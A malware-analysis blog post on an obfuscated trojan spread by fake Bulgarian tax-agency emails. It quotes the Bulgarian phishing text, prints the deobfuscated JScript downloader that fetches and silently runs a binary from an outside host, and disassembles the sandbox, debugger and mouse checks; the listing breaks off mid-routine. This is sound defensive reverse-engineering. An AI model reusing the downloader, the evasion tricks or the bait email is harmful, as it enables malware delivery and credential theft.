Join the discord

Old threat in new pants (the NRA trojan)

22 Mar, 2017 16:03
The good old scaremongering threat, targeting the Bulgarian users has returned, and this time it's in brand new pants.
For those how overslept it, here's how the threat looked:

STEP 1: A user receives a email with scary message, that requires him to view the attached file:
bait messageУважаеми госпожи и господа,

Национална агенция по приходите (НАП) напомня за промени в регламента и периодите за подаване на декларации в НАП. Необходимо е да се 
запознаете с нововъведенията с цел спазване на всички срокове. Напомняме, че в случай на данъчно задължено лице, което не подаде 
декларация по този Закон, не я подаде в срок, не посочи или невярно посочи данни или обстоятелства, водещи до определяне на дължимия 
данък в по-малък размер или до неоснователно намаляване, преотстъпване или освобождаване от данък, се наказва с имуществена санкция в 
размер от 500 до 3000 лв. При повторно нарушение имуществената санкция е в размер от 1000 до 6000.

Внимание!
Всички подробности касаещи изменения на регламента и сроковете ще намерите в прикачения файл.

Национална агенция за приходите.

STEP 2: The user downloads and executes the attached file (JScript file).

STEP 3: The executed file downloads and starts a payload file.

STEP 4: The payload infects the system, stealing the user's credentials (email passwords, browser cookies and saved passwords, certificates, etc.) and turns the machine into a botnet zombie, awaiting commands from the command and control server.

However, I'm not going to talk about the trojan itself (because it's already old).
Instead, I'll talk about its new obfuscations.

Let's go!



In depth analysis


The attached file is a obfuscated JavaScript executable file.
The obfuscation itself is easy to strip, so deobfuscated code looks like this:
downloader.jsvar fso = new ActiveXObject("Scripting.FileSystemObject");
var has_rights = new Function("var ibubgy = fso.GetParentFolderName('C:\\sfdfsdfsdfsd\\dfsdgddsaada'); 
				if(ibubgy == 'C:') return true; else return false;");
if (has_rights()) {
   fso = WScript.CreateObject("Scripting.FileSystemObject");
   ws = WScript.CreateObject("WScript.Shell");
   msxml2 = WScript.CreateObject("MSXML2.XMLHTTP");
   adodb = WScript.CreateObject("ADODB.Stream");
   tmpFolder = fso.GetSpecialFolder(2);	// TemporaryFolder
   tmpFilename = fso.GetTempName();
   msxml2.open("GET", "http://groupcreatedt.at/jamaat.bin", false);
   msxml2.send();
   adodb.type = 1;				// binary
   adodb.Open();
   adodb.Write(msxml2.ResponseBody);
   adodb.SaveToFile(tmpFolder + tmpFilename);
   adodb.Close();
   ws.run("cmd.exe /c " + tmpFolder + tmpFilename, 0);
   fso.deleteFile(WScript.ScriptFullName);
}

The downloaded file is a Visual Basic 6 compiled executable.
The Visual Basic is technically used as a basic layer of obfuscation, and like the JS obfuscation, is relatively easy to beat.

Basically, the VB code can be split in two parts - egg hunter:
Visual Basic 6Private Sub Form_Load()                                        ' 48E3BC
   Dim Me.global_84 As Variant
   Dim var_C4 As Long
   Me.global_84 = &H12404900
   Me.global_84 = (Me.global_84 / 73)
   If (Me.global_84 = 0) Then
      Call Form_Load()
   End If
   Me.Textheight
   var_C0 = CVar(Me.Currentx)                                  ' Variant
   Me.Arrange
   var_C8 = Me.Picture
   Call .DispID_FF5C
   var_C4 = CLng(CInt(Me.Currentx))
   loc_48E32A:                                                 ' Referenced from: 48E38C
   If (Me.global_84 = 0) Then
      Exit Sub
   End If
   If (Me.global_52 = -219001769) Then                         ' egghunting value 0xF2F24C57
      GoTo loc_48E38F
   End If
   If CBool(Me.global_84 <> 0) Then
      GetMem4(CLng(Me.global_84), Me.global_52, var_C4, "=")   ' get four bytes
   End If
   Me.global_84 = (Me.global_84 + 1)                           ' increment the buffer pointer with 1
   GoTo loc_48E32A
   loc_48E38F:                                                 ' Referenced from: 48E34B
   Me.global_84 = (Me.global_84 + 3)                           ' skip the egghunt value
   Call Proc_0_2(CLng(Me.global_84))                           ' execute the loader
   Exit Sub
End Sub

And loader stub:
Visual Basic 6Private Sub Proc_0_2(arg_C)                   ' 48E254
   Dim var_8C As Long
   Dim var_B8 As Double
   Dim var_DC As Variant
   Dim var_F4 As Double
   Dim var_88 As Long
   var_B0 = TimeValue(CStr(Time))
   var_8C = CLng(var_B0)
   var_B8 = Log(%x1)
   var_DC = var_CC
   MidB
   var_C8 = var_B0                            ' Variant
   var_F4 = CDbl(Sgn(%x1))
   Randomize(182)
   If (App.Thread <> 0) Then
      var_88 = EnumDesktops(0, arg_C, 0)      ' execute the egghunted code using EnumDesktop function
   End If
   Exit Function
End Sub

The egghunt leads us here:
egghunted data; egg value in red, data in greenFF FF FF FF FF FF FF FF FF FF FF FF 57 4C F2 F2
81 FC 5C 2F 47 42 B9 FF FF FF 0F 80 FC 41 0F C8
...snip...

EnumDesktops is used to execute a shellcode, and that's pretty much everything the VB code does.

From here, the code flow goes as standard x86 assembly code execution in a shellcode-like manner:
shellcode.text:00403ECC _egg_value         dd 0F2F24C57h
.text:00403ED0            cmp     esp, 42472F5Ch      ; obfuscation
.text:00403ED6            mov     ecx, 0FFFFFFFh      ; obfuscation
.text:00403EDB            cmp     ah, 41h             ; obfuscation
.text:00403EDE loc_403EDE:                            ; CODE XREF: .text:00403EE7
.text:00403EDE            bswap   eax                 ; obfuscation
.text:00403EE0            bswap   eax                 ; obfuscation
.text:00403EE2            rdtsc                       ;/ Timeout/Delay
.text:00403EE4            cmp     ah, 1Eh             ;\
.text:00403EE7            loop    loc_403EDE
.text:00403EE9            cmp     dh, 20h             ; obfuscation
.text:00403EEC            jmp     loc_4046AB

The obfuscation is a light one and it consists of messy code, double BSWAP and pointless CMP instructions:
shellcode.text:00403F39            cmp     ebp, 4247FEC4h   ; obfuscation
.text:00403F3F            rdtsc                    ; obfuscation
.text:00403F41            bswap   ecx              ; obfuscation
.text:00403F43            bswap   ecx              ; obfuscation
.text:00403F45            paddd   mm7, mm0
.text:00403F48            cmp     ebp, 42481BBCh   ; obfuscation
.text:00403F4E            mov     eax, esp
.text:00403F50            cmp     ax, 2964h        ; obfuscation
.text:00403F54            mov     eax, [eax+2Ch]
.text:00403F57            cmp     ch, 0CAh         ; obfuscation
.text:00403F5A            movd    mm2, eax
.text:00403F5D            cmp     edi, 42484369h   ; obfuscation
.text:00403F63            pxor    mm2, mm7
.text:00403F66            cmp     dx, 522Ah        ; obfuscation
.text:00403F6B            movd    ecx, mm2
.text:00403F6E            bswap   eax              ; obfuscation
.text:00403F70            bswap   eax              ; obfuscation
.text:00403F72            cmp     ecx, 0

In three steps, a chunk of data is getting decrypted (obfuscation junk code is removed for clarity).
First the encrypted data is pushed into the stack:
shellcode00403F0F     B1 48          MOV CL,48                      ; size of the encrypted data
00403F11     80E9 04        SUB CL,4
00403F1F     FF340B         PUSH DWORD PTR DS:[EBX+ECX]    ; push DWORD of the encrypted data in the stack
00403F25     80F9 00        CMP CL,0
00403F28    ^75 E7          JNZ SHORT sample3_.00403F11

Next the key is picked by this odd contraption here, that I guess is also used as a delay procedure:
shellcode00403F2E     41             INC ECX
00403F32     0F6EC1         MOVD MM0,ECX
00403F39     0F31           RDTSC                           ; generate more cycles as delay?
00403F45     0FFEF8         PADDD MM7,MM0
00403F4E     89E0           MOV EAX,ESP
00403F54     8B40 2C        MOV EAX,DWORD PTR DS:[EAX+2C]   ; 0x2C value from the stack is 0xC5ACB5B2
00403F5A     0F6ED0         MOVD MM2,EAX
00403F63     0FEFD7         PXOR MM2,MM7
00403F6B     0F7ED1         MOVD ECX,MM2
00403F72     83F9 00        CMP ECX,0
00403F75    ^75 C2          JNZ SHORT sample3_.00403F39
00403F7B     0F7EFE         MOVD ESI,MM7                    ; ESI is holding the DWORD key

Finally the decryption is executed:
shellcode00403F81     BB 48000000    MOV EBX,48                       ; size of the encrypted data
00403F8C     4B             DEC EBX                          ;/ EBX minus 4
00403F9B     4B             DEC EBX                          ;|
00403FA2     4B             DEC EBX                          ;|
00403FA9     4B             DEC EBX                          ;\
00403FAE     FF341C         PUSH DWORD PTR SS:[ESP+EBX]      ;/ Get stack value in EAX
00403FB5     58             POP EAX                          ;\
00403FB9     E8 27020000    CALL sample3_.004041E5           ; this call is simply EAX ^ ESI
00403FC1     89041C         MOV DWORD PTR SS:[ESP+EBX],EAX   ; store the decrypted DWORD
00403FC9     83FB 00        CMP EBX,0                        ; loop limit
00403FCC    ^75 BE          JNZ SHORT sample3_.00403F8C

Put up in C, the whole thing looks like this:
XOR decrypt implementation#include <windows.h>
#include <stdio.h>

int main() {
   int		i;
   byte	data[] = {
      0xB2, 0xA5, 0xEC, 0xC5, 0xE7, 0x3E, 0x40, 0x46, 0x5E, 0xB9, 0xFA, 0x48, 0xB2, 0xB5, 0xA8, 0xC5,
      0x9B, 0x43, 0x85, 0x33, 0xD9, 0xD0, 0xDE, 0xAB, 0xD7, 0xD9, 0x9F, 0xF7, 0xB2, 0xB5, 0xAC, 0xC5,
      0xE4, 0xDC, 0xDE, 0xB1, 0xC7, 0xD4, 0xC0, 0x84, 0xDE, 0xD9, 0xC3, 0xA6, 0xB2, 0xB5, 0xAC, 0xC5,
      0xC7, 0xC6, 0xC9, 0xB7, 0x81, 0x87, 0xAC, 0xC5, 0xF7, 0xDB, 0xD9, 0xA8, 0xE5, 0xDC, 0xC2, 0xA1,
      0xDD, 0xC2, 0xDF, 0xC5, 0x4A, 0xCF, 0xF9, 0x38
   };
   for(i = 0x00; i < 0x48; i += 0x04) {
      *(DWORD*)&data[i] ^= 0xC5ACB5B2;
   }
   return 0;
}

Just looking the decrypted data as is, we can easily determine it's structured and upon further investigation, the details are fully reviewed:
Obfuscator config structurestruct STUB_CONFIG {
   DWORD   VB_IAT;                  // 00401000
   byte    EP_DllFunctionCall[8];   // 55 8B EC 83 EC 0C 56 8D
   DWORD   u3;                      // 0x00040000 
   DWORD   key_egg;                 // 0xF629F629
   char    szLibName1[];            // "kernel32"
   char    szLibAPI1[];             // "VirtualAlloc"
   DWORD   WindowCounter;           // 0x00000000
   char    szLibName2[];            // "user32"
   char    szLibAPI2[];             // "EnumWindows"
   DWORD   u5;                      // 0xFD557AF8
};

The VB_IAT is pointing to the IAT table in the file:
IAT00401000 > . 4DCCA172       DD MSVBVM60.rtcLog
00401004 > . 683BA472       DD MSVBVM60.MethCallEngine
00401008 > . 7B6FA272       DD MSVBVM60.rtcMidVar
0040100C > . 3ACDA172       DD MSVBVM60.rtcRandomize
00401010 > . 749BA072       DD MSVBVM60.EVENT_SINK_AddRef
00401014 > . FDA09472       DD MSVBVM60.DllFunctionCall
00401018 > . 879BA072       DD MSVBVM60.EVENT_SINK_Release
0040101C > . 859AA072       DD MSVBVM60.EVENT_SINK_QueryInterface
00401020 > . DF47A272       DD MSVBVM60.__vbaExceptHandler
00401024 > . A4359472       DD MSVBVM60.ThunRTMain

Then, using a loop, the entry point of every entry in the IAT is compared to the EP_DllFunctionCall, which in this case is DllFunctionCall:
DllFunctionCall EP7294A0FD   55               PUSH EBP                       ; MSVBVM60.DllFunctionCall
7294A0FE   8BEC             MOV EBP,ESP
7294A100   83EC 0C          SUB ESP,0C
7294A103   56               PUSH ESI
7294A104   8D45 F4          LEA EAX,DWORD PTR SS:[EBP-C]
7294A107   57               PUSH EDI
7294A108   50               PUSH EAX
7294A109   8D45 FC          LEA EAX,DWORD PTR SS:[EBP-4]
7294A10C   8365 FC 00       AND DWORD PTR SS:[EBP-4],0
7294A110   50               PUSH EAX
7294A111   8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]

Finally, the function DllFunctionCall is executed, with the given parameters (in my case these are "user32" and "EnumWindows") to obtain the requested procedure address.

The EnumWindows itself is used as a sandbox protection:
DllFunctionCall EP00404296   . E8 6CFDFFFF    CALL sample3_.00404007 ; {
   0040400B   . 5B             POP EBX                         ; takes the return address 0040429B
   0040400F   . 89E1           MOV ECX,ESP                     ; takes the stack pointer
   00404014   . 83C1 0A        ADD ECX,0A                      ;/ adjust the stack, thus pointing it to STUB_CONFIG.szLibAPI1
   0040401C   . 83C1 12        ADD ECX,12                      ;\
   00404025   . 51             PUSH ECX                        ; lParam is the adjusted stack
   0040402A   . 53             PUSH EBX                        ; lpEnumFunc is the return address
   00404031   . FFD0           CALL EAX                        ; USER32.EnumWindows
   00404037   . 8B4424 1C      MOV EAX,DWORD PTR SS:[ESP+1C]   ; get the WindowCounter value
   0040403E   . 83F8 0B        CMP EAX,0B                      ; compare it with 0x0B
   00404041   . 7C 35          JL SHORT sample3_.00404078      ; jumping here will cause a "runtime error" message and program exit
   ; more code...
;}
0040429B   . 80FC 41        CMP AH,41                          ;/ return address of the previous call.
                                                               ;\ the instruction here is just obfuscation
0040429E   . 8B4C24 08      MOV ECX,DWORD PTR SS:[ESP+8]
004042A8   . 8B01           MOV EAX,DWORD PTR DS:[ECX]         ;/ Increment the WindowCounter
004042AD   . 40             INC EAX                            ;|
004042B1   . 8901           MOV DWORD PTR DS:[ECX],EAX         ;\
004042B7   . B8 01000000    MOV EAX,1                          ; return TRUE
004042C1   . C2 0800        RETN 8

Basically, what it does is to determine how many windows the system has right now.
Having in mind that the typical malware analysis virtual machine usually has the bare minimum of junk running, the malware developers decided that everything below 0x0B is considered as suspicious, therefore the further execution should stop.

A space for the next step of obfuscation is allocated using VirtualAlloc.
Here, the parameters for VirtualAlloc are built up:
Tweaking the VirtualAlloc parameters00404082   . BA 1E000000    MOV EDX,1E      ;/
0040408A   . 83C2 22        ADD EDX,22      ;|
00404093   . 52             PUSH EDX        ;\ flProtect = 0x1E + 0x22 = 0x40 == PAGE_EXECUTE_READWRITE
00404098   . 81C2 D2070000  ADD EDX,7D2     ;/
004040A2   . 81C2 EE070000  ADD EDX,7EE     ;|
004040AD   . 52             PUSH EDX        ;\ flAllocationType = 0x40 + 0x7D2 + 0x7EE = 0x1000 = MEM_COMMIT
004040B1   . 68 00490100    PUSH 14900      ; dwSize
004040BB   . 6A 00          PUSH 0          ; lpAddress
004040C1   . FFD0           CALL EAX        ; VirtualAlloc

Although they tried to hide the flProtect and flAllocationType values, the authors did nothing about obfuscating the dwSize value.

Like previously with the config stub, we again have a key "bruteforcing":
XOR key delay code00404766   > E8 6EF9FFFF    CALL sample3_.004040D9             ; key locator procedure
   004040D9   $ 80FC 9A        CMP AH,9A                       ; junk code (obfuscation)
   004040DC   . 5E             POP ESI                         ; get pointer to the encrypted shellcode start
   004040E1   . B9 24450000    MOV ECX,4524                    ; size of the encrypted shellcode
   004040EB   . 89C7           MOV EDI,EAX                     ; buffer for the decrypted shellcode
   004040F1   > 83E9 04        SUB ECX,4                       ; decrement with a sizeof(DWORD)
   004040FA   . FF340E         PUSH DWORD PTR DS:[ESI+ECX]     ;/ Move DWORD to the result buffer
   00404103   . 8F040F         POP DWORD PTR DS:[EDI+ECX]      ;\
   0040410A   . 85C9           TEST ECX,ECX
   0040410C   .^75 E3          JNZ SHORT sample3_.004040F1     ; memcpy loop
   00404111   > 66:81FA 5273   CMP DX,7352                     ; junk code (obfuscation)
   00404116   . 46             INC ESI                         ; the initial value of ESI doesn't matter
   0040411C   . 6A 00          PUSH 0                          ;/ what these three instructions do is to take
   00404122   . 58             POP EAX                         ;| the first DWORD from the encrypted data in EAX
   00404129   . 0B07           OR EAX,DWORD PTR DS:[EDI]       ;\ 
   0040412E   . E8 B2000000    CALL sample3_.004041E5          ; XOR EAX, ESI
   00404137   . 3B4424 10      CMP EAX,DWORD PTR SS:[ESP+10]   ; STUB_CONFIG.key_egg = 0xF629F629
   0040413B   .^75 D4          JNZ SHORT sample3_.00404111     ; key egghunting loop
   00404143   . 31C9           XOR ECX,ECX                     ; zero the iterator for the final decrypt loop
   0040414B   . E9 A9040000    JMP sample3_.004045F9           ; jump to decryptor
   00404150   > 66:81F9 E3E8   CMP CX,0E8E3                    ; junk code (obfuscation)
   00404155   . FFE7           JMP EDI                         ; jump to decrypted shellcode EP
0040476B   . 41             INC ECX                            ; encrypted shellcode start
0040476C   . 2D D5D6F84B    SUB EAX,4BF8D6D5

Basically this code "bruteforces" the right key value like this:
XOR key delay codeDWORD i;
for(i = 0; i < 0xFFFFFFFF; i++) {
   if ((i^0xD6D52D41) == 0xF629F629) {
      printf("Key found: %08lX", i);
   }
}

To get the correct key, I can simply do 0xF629F629 ^ 0xD6D52D41 = 0x20FCDB69

The final decryption routine is again a DWORD key XOR encryption and looks like this:
XOR key delay code004045F9    > 31340F         XOR DWORD PTR DS:[EDI+ECX],ESI   ; decrypt DWORD of the encrypted shellcode
004045FC    . 80FF FB        CMP BH,0FB                       ; junk code (obfuscation)
004045FF    . 66:83E9 FC     SUB CX,0FFFC                     ; a "fancy" way to add 4 to CX
00404603    . 0FCB           BSWAP EBX                        ; junk code (obfuscation)
00404605    . 0FCB           BSWAP EBX                        ; junk code (obfuscation)
00404607    . 81F9 24450000  CMP ECX,4524                     ; loop limit
0040460D    .^75 EA          JNZ SHORT sample3_.004045F9      ; decrypt loop
0040460F    . 81FF 5C574E42  CMP EDI,424E575C                 ; junk code (obfuscation)
00404615    .^E9 36FBFFFF    JMP sample3_.00404150            ; jump to the shellcode executor




The shellcode



The shellcode has interesting topology:
Decrypted shellcode start01230000   29F6           SUB ESI,ESI    ; Shellcode EP
01230002   29F6           SUB ESI,ESI
01230004   90             NOP
01230005   90             NOP
; ... snip ...
01230370   90             NOP
01230371   90             NOP
01230372   E9 091B0000    JMP 01231E80   ; actual code start

In the shellcode there's a few places like that, filled with NOP instructions and although these NOPS are part of the code flow, they are later used as memory space.

The code flow is chunked by a JMP based obfuscation:
shellcode obfuscation styleseg000:00000372            jmp     loc_00001E80                 ; code start
seg000:00000377 ?getString_kernel32 proc                        ; 2nd chunk
seg000:00000377            pop     ecx                          ; "kernel32" string pulled from the return address
seg000:00000378            mov     ss:szKernel32[ebp], ecx
seg000:0000037B            jmp     loc_1E63
seg000:0000037B ?getString_kernel32 endp
seg000:00000380 ?getProcAddress_GetTickCount proc               ; 4th chunk
seg000:00000380            pop     edx                          ; "GetTickCount" string pulled from the return address
seg000:00000381            call    ?getProcAddress
seg000:00000386            mov     ss:hGetTickCount[ebp], eax
seg000:0000038C            mov     ecx, ss:szKernel32[ebp]
seg000:0000038F            jmp     loc_20FA                     ; to 5th chunk, and so on
seg000:0000038F ?getProcAddress_GetTickCount endp
; other code
seg000:00001E63 loc_1E63:					; 3rd chunk
seg000:00001E63            call    ?getProcAddress_GetTickCount
seg000:00001E68 aGettickcount   db 'GetTickCount',0
; other code
seg000:00001E80 loc_00001E80:					; 1st chunk
seg000:00001E80            call    ?getString_kernel32
seg000:00001E85 aKernel32       db 'kernel32',0

There's a few interesting code parts worth mentioning, like this GetProcAddress implementation used to hide the imported API functions:
GetProcAddress implementationseg000:00000772 ?getProcAddress proc near
seg000:00000772            mov     esi, 401000h                   ; VB IAT
seg000:00000777 loc_777:
seg000:00000777            lodsd
seg000:00000778            cmp     dword ptr [eax], 83EC8B55h     ; DllFunctionCall EP
seg000:0000077E            jnz     short loc_777
seg000:00000780            cmp     dword ptr [eax+4], 8D560CECh   ; DllFunctionCall EP+4
seg000:00000787            jnz     short loc_777
seg000:00000789            xor     ebx, ebx
seg000:0000078B            push    ebx
seg000:0000078C            push    ebx
seg000:0000078D            push    ebx
seg000:0000078E            push    esp
seg000:0000078F            push    40000h
seg000:00000794            push    edx
seg000:00000795            push    ecx
seg000:00000796            push    esp
seg000:00000797            call    eax                            ; DllFunctionCall EP
seg000:00000799            add     esp, 1Ch
seg000:0000079C            retn
seg000:0000079C ?getProcAddress endp

Few trivial debug protections as code execution delay and PEB.BeingDebugged check:
Delay and PEB.BeingDebugged checkseg000:00000394 sub_394    proc near                       ; CODE XREF: sub_3E1:loc_20FA
seg000:00000394            pop     edx
seg000:00000395            call    ?getProcAddress         ; Sleep
seg000:0000039A            mov     ss:hSleep[ebp], eax
seg000:000003A0            call    ss:hGetTickCount[ebp]   ; Get initial time
seg000:000003A6            push    eax
seg000:000003A7            push    7D0h                    ;/ 2 seconds delay
seg000:000003AC            call    ss:hSleep[ebp]          ;\
seg000:000003B2            call    ss:hGetTickCount[ebp]   ; Get delay time
seg000:000003B8            pop     ebx
seg000:000003B9            sub     eax, ebx                ; calculate the timeout
seg000:000003BB            cmp     eax, 5DCh               ; 1500 milliseconds
seg000:000003C0            jb      loc_44F                 ; if the delay between initial and final timer
                                                           ; is under a second and a half - jump and skip the debug checks
                                                           ; however, this will never happen, because the 2sec Sleep
seg000:000003C6            mov     eax, fs:[18h]           ; Linear address of TEB
seg000:000003CC            mov     eax, [eax+30h]          ; Linear address of Process Environment Block
seg000:000003CF            cmp     byte ptr [eax+2], 1     ; PEB.BeingDebugged
seg000:000003D3            jz      loc_2330                ; Jump to crash
seg000:000003D9            mov     ecx, ss:szKernel32[ebp]
seg000:000003DC            jmp     loc_1E9A

A user interaction check, that can possibly mislead some of the sandbox setups is present here:
mouse activity checkseg000:0000047B            call    eax                    ; initial GetCursorPos
seg000:0000047D            cmp     eax, 0                 ;/ if the function fails, this jump is taken
seg000:00000480            jz      loc_2330               ;\ and crashes the application
seg000:00000486            movq    mm0, qword ptr [esp]   ; takes the initial mouse pointer coordinates
seg000:0000048A loc_48A:
seg000:0000048A            push    1
seg000:0000048C            call    ss:hSleep[ebp]
seg000:00000492            push    esp
seg000:00000493            call    ss:hGetCursorPos[ebp]  ; second GetCursorPos
seg000:00000499            cmp     eax, 0
seg000:0000049C            jz      loc_2330               ; on error, jump to crash the application again
seg000:000004A2            movq    mm1, qword ptr [esp]
seg000:000004A6            pcmpeqd mm1, mm0               ; compare the initial and the second mouse pointer coordinates
seg000:000004A9            movd    ecx, mm1
seg000:000004AC            cmp     ecx, 0                 ;/ if the mouse didn't moved
seg000:000004AF            jnz     short loc_48A          ;\ the application will "hang" in endless loop

Another debug check, this time verifying the NtGlobalFlag value from the PEB:
PEB.NtGlobalFlag checkseg000:000004B7            mov     ebx, fs:[30h] ; Linear address of Process Environment Block (PEB)
seg000:000004BE            mov     bl, [ebx+68h] ; PEB.NtGlobalFlag
seg000:000004C1            and     bl, 70h       ; FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS
seg000:000004C4            cmp     bl, 70h
seg000:000004C7            jz      loc_2330      ; jump if debugger is present and crash the program

And a MMX feature flags verification, using CPUID:
MMX instruction set support check006304CD   B8 01000000     MOV EAX,1        ; EAX=1: Processor Info and Feature Bits
006304D2   0FA2            CPUID
006304D4   89D0            MOV EAX,EDX      ; feature flags
006304D6   C1E8 17         SHR EAX,17       ; MMX instructions support
006304D9   83E0 01         AND EAX,1
006304DC   83F8 01         CMP EAX,1
006304DF   0F85 4B1E0000   JNZ 00632330     ; jump and crash the program

There are quite a few "configuration" based spots in the code, that suggest this code is part of a configurable obfuscation toolbox:
unused configurable functionalitiesseg000:0000229C loc_229C:
seg000:0000229C            call    sub_5DC                        ; start
seg000:000022A1 _drop_temp dd 0
; more code
seg000:000005DC sub_5DC
seg000:000005DC            pop     eax
seg000:000005DD            mov     eax, [eax]                     ; take _drop_temp
seg000:000005DF            mov     ss:_flag_drop_temp[ebp], eax   ; and store it here
seg000:000005E2            call    sub_1446                       ; take this call
seg000:000005E7            mov     ss:_szCommandLine[ebp], eax
seg000:000005ED            cmp     eax, 1                         ; condition from the sub_1446 result
seg000:000005F0            jz      short loc_600
; more code
seg000:00001446 sub_1446   proc near
seg000:00001446            mov     eax, ss:_flag_drop_temp[ebp]   ; reference to _drop_temp value
seg000:00001449            cmp     eax, 0                         ; condition based on _drop_temp
seg000:0000144C            jz      locret_1533                    ; skip the rest if _drop_temp == 0
seg000:00001452            mov     eax, fs:[18h]                  ; Linear address of TEB
seg000:00001458            mov     eax, [eax+30h]                 ; TEB.PEB
seg000:0000145B            mov     eax, [eax+10h]                 ; PEB.PPEB_LDR_DATA
seg000:0000145E            mov     eax, [eax+48h]                 ; RTL_USER_PROCESS_PARAMETERS.Environment
seg000:00001461            mov     ss:_szEnvVars[ebp], eax
seg000:00001464            sub     eax, 2
seg000:00001467            jmp     loc_1E54                       ; continue with the _drop_temp procedure
; more code
seg000:00001533 locret_1533:
seg000:00001533            retn                                   ; return back to 000005E7

Depending on config values like this, the shellcode can copy its payload to %TEMP%, drop a .VBS based autorun script, execute the autorun script and so on.
Interestingly enough, each one of these actions can be enabled separately, leading to odd scenarios like, for example, dropping the payload, but not setting the autorun .VBS

The rest of the code is pretty standard for a malware.
First there's a egghunt that locates the decryption key:
egg huntingseg000:00001A26            pop     ebx
seg000:00001A27            mov     ebx, [ebx]                    ; egghunting DWORD = 0x3BE05B3D
seg000:00001A29            mov     edi, ss:buffVirtualMem[ebp]   ; buffer allocated before
seg000:00001A2C            mov     eax, fs:[30h]                 ; PEB
seg000:00001A32            mov     eax, [eax+8]                  ; PEB.ImageBaseAddress
seg000:00001A35            xor     ecx, ecx
seg000:00001A37 _egghunt_begin_3BE05B3D:
seg000:00001A37            inc     ecx
seg000:00001A38            cmp     ebx, [eax+ecx]
seg000:00001A3B            jnz     short _egghunt_begin_3BE05B3D
seg000:00001A3D            add     ecx, 4
seg000:00001A40            mov     edx, 1000h
seg000:00001A45 _egghunt_end_3BE05B3D:
seg000:00001A45            cmp     [eax+ecx], ebx
seg000:00001A48            jz      short loc_1A54
seg000:00001A4A            mov     esi, [eax+ecx]
seg000:00001A4D            mov     [edi+edx], esi
seg000:00001A50            inc     ecx
seg000:00001A51            inc     edx
seg000:00001A52            jmp     short _egghunt_end_3BE05B3D

This code locates the data block below:
first egghunt; egg values in red, data in green0044D766  ED 05 77 99 79 E9 78 6F 79 E9 78 6F 3D 5B E0 3B
0044D776  65 58 3A 94 86 F6 61 DA F7 E4 1E 2D 76 E0 E7 16
0044D786  46 2C BD 0B 67 CA 29 0D D9 75 A1 A4 9C B4 6A 48
0044D796  6B 01 41 3D 8C 9E AC 83 FE 49 24 D6 7D 88 EE 7A
0044D7A6  91 D5 08 6F B1 72 2F B5 23 1D A7 4C A2 5D 71 F0
0044D7B6  72 A9 8B E5 D7 47 B2 2B 04 F1 2B 7E C7 31 F4 23
0044D7C6  97 7D 0E 18 B8 1B 36 5E 2A C6 F2 F5 ED 05 77 99
0044D7D6  BC 52 92 8E DD EF FD D4 4F 9A 75 27 CE D9 3F CB
0044D7E6  E2 26 15 C0 02 80 80 06 30 6E F8 59 F3 6A C2 41
0044D7F6  C3 FA DC 36 E4 54 03 38 55 42 7C CF 18 3E 45 74
0044D806  E8 CE 5F 69 09 28 87 AF 7B 17 FF 02 FA 12 C8 EA
0044D816  0D 5F E3 DF 2E FC 0A E1 5C EB 82 78 1F E6 4C 1C
0044D826  EF 33 66 11 0F D1 D1 57 81 BF 49 AA 44 BB 13 4E
0044D836  14 07 E9 43 35 A5 54 89 A6 93 CD 20 25 8F 96 C5
0044D846  3D 5B E0 3B FF FF FF FF FF FF FF FF FF FF FF FF

The second egghunt (egg value 0x6F78E979) is quite different.
First it locates the following 0x588 bytes long data block:
second egghunt; egg values in red, chunks data in green, chunk padding in blue00406A90  DB FC C8 A1 2D 03 DF E0 DE FC 20 FF FF FF 79 E9
00406AA0  78 6F 9B 28 9D 28 9C 28 9B 28 9A 28 9B 28 9D 28
00406AB0  9D 28 9D 28 9D 28 9D 28 99 28 9A 28 99 28 9B 28
00406AC0  99 28 9A 28 99 28 9D 28 9D 28 99 28 9B 28 99 28
00406AD0  9B 28 9C 28 9D 28 99 28 9D 28 99 28 9A 28 99 28
...snip...
0044D6E0  66 11 0F D1 D1 57 81 BF 49 AA 44 BB 13 4E 14 07
0044D6F0  E9 43 35 A5 54 89 A6 93 CD 20 25 8F 96 C5 65 58
0044D700  3A 94 00 00 00 00 00 00 00 00 00 00 00 00 86 F6
0044D710  61 DA F7 E4 1E 2D 76 E0 E7 16 46 2C BD 0B 67 CA
0044D720  29 0D D9 75 A1 A4 9C B4 6A 48 6B 01 41 3D 8C 9E
0044D730  AC 83 FE 49 24 D6 7D 88 EE 7A 91 D5 08 6F B1 72
0044D740  2F B5 23 1D A7 4C A2 5D 71 F0 72 A9 8B E5 D7 47
0044D750  B2 2B 04 F1 2B 7E C7 31 F4 23 97 7D 0E 18 B8 1B
0044D760  36 5E 2A C6 F2 F5 ED 05 77 99 79 E9 78 6F 79 E9
0044D770  78 6F 3D 5B E0 3B 65 58 3A 94 86 F6 61 DA F7 E4

Then XOR decrypts it using key 0x2897, to produce a "chunk table" of WORD sized values:
decrypted chunk table002E0000  0C 00 0A 00 0B 00 0C 00 0D 00 0C 00 0A 00 0A 00
002E0010  0A 00 0A 00 0A 00 0E 00 0D 00 0E 00 0C 00 0E 00
002E0020  0D 00 0E 00 0A 00 0A 00 0E 00 0C 00 0E 00 0C 00
002E0030  0B 00 0A 00 0E 00 0A 00 0E 00 0D 00 0E 00 0A 00
002E0040  0E 00 0E 00 0D 00 0B 00 0E 00 0B 00 0C 00 0E 00
002E0050  0C 00 0D 00 0C 00 0C 00 0A 00 0E 00 0E 00 0D 00
002E0060  0A 00 0E 00 0C 00 0E 00 0B 00 0C 00 0B 00 0C 00

Here's how it works:
- every chunk is with predefined length of 0x18C bytes;
- every value in the chunk table defines the chunk padding value;

So, we have a 0x18C bytes of data, then 0x000C bytes of unused padding, another 0x18C bytes of data, 0x000A bytes of padding and so on.

Simple calculation of 0x588 (chunk table size) divided by 2 (size of a WORD) means we have 0x2C4 chunks.
Now 0x2C4 chunks times 0x18C (size of each chunk) gives us 0x44730 bytes of total chunked data.
However, because the egghunting is begin and end delimited, the last chunk can be smaller than 0x18C bytes, so the complete size of the data is actually 0x44600

This data is the encrypted payload of the malware.
The decryption routine goes like this:
decryption codeseg000:00001BA4                 emms
seg000:00001BA6                 mov     edx, ss:_buff_chunked_data[ebp]   ; Encrypted payload data
seg000:00001BA9                 mov     ecx, ss:_size_chunked_data[ebp]   ; Encrypted payload data length
seg000:00001BAC                 add     edx, ecx
seg000:00001BAE                 neg     ecx
seg000:00001BB0                 mov     ebx, ss:_eggdata1_length[ebp]     ; key length
seg000:00001BB3                 mov     eax, edi
